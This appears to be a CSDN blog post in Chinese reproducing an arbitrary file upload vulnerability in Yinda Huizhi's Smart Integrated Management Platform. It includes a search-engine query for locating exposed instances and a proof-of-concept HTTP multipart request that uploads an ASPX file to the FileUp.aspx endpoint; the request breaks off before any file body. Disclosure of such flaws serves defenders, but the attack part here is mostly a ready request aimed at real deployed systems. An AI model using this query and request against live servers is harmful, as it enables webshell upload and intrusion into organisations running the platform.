【漏洞复现】银达汇智智慧综合管理平台任意文件上传漏洞

晚风不及你ღ

已于 2024-01-18 10:26:58 修改

阅读量540

点赞数 10

文章标签： web安全

于 2024-01-18 10:19:53 首次发布

本文链接：https://blog.csdn.net/qq_37113223/article/details/135667264

版权

【漏洞复现】专栏收录该内容

146 篇文章 1 订阅

已下架不支持订阅

福建银达汇智公司的智慧综合管理平台FileUpPage存在安全漏洞，允许攻击者上传任意文件。漏洞复现可通过特定POC实现，建议联系厂商修复。

摘要由CSDN通过智能技术生成

Nx01 产品简介

福建银达汇智信息科技股份有限公司成立于2009年，位于福建省福州市，是一家以从事软件和信息技术服务业为主的企业。

Nx02 漏洞描述

银达汇智智慧综合管理平台 FileUpPage 存在任意文件上传漏洞，攻击者通过漏洞可上传任意文件至服务器。

Nx03 产品主页

hunter-query: "汇智信息" && title=="智慧综合管理平台登入"

Nx04 漏洞复现

POC：

POST /Module/FileUpPage/FileUp.aspx?orgid=1&type=NNewsContent HTTP/1.1
Host: {
  {Hostname}}
Accept-Encoding: identity
Content-Length: 337
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=62907949903a4c499178971c9dab4ad9

--62907949903a4c499178971c9dab4ad9
Content-Disposition: form-data; name="Filedata"; filename="abc.aspx"

了解本专栏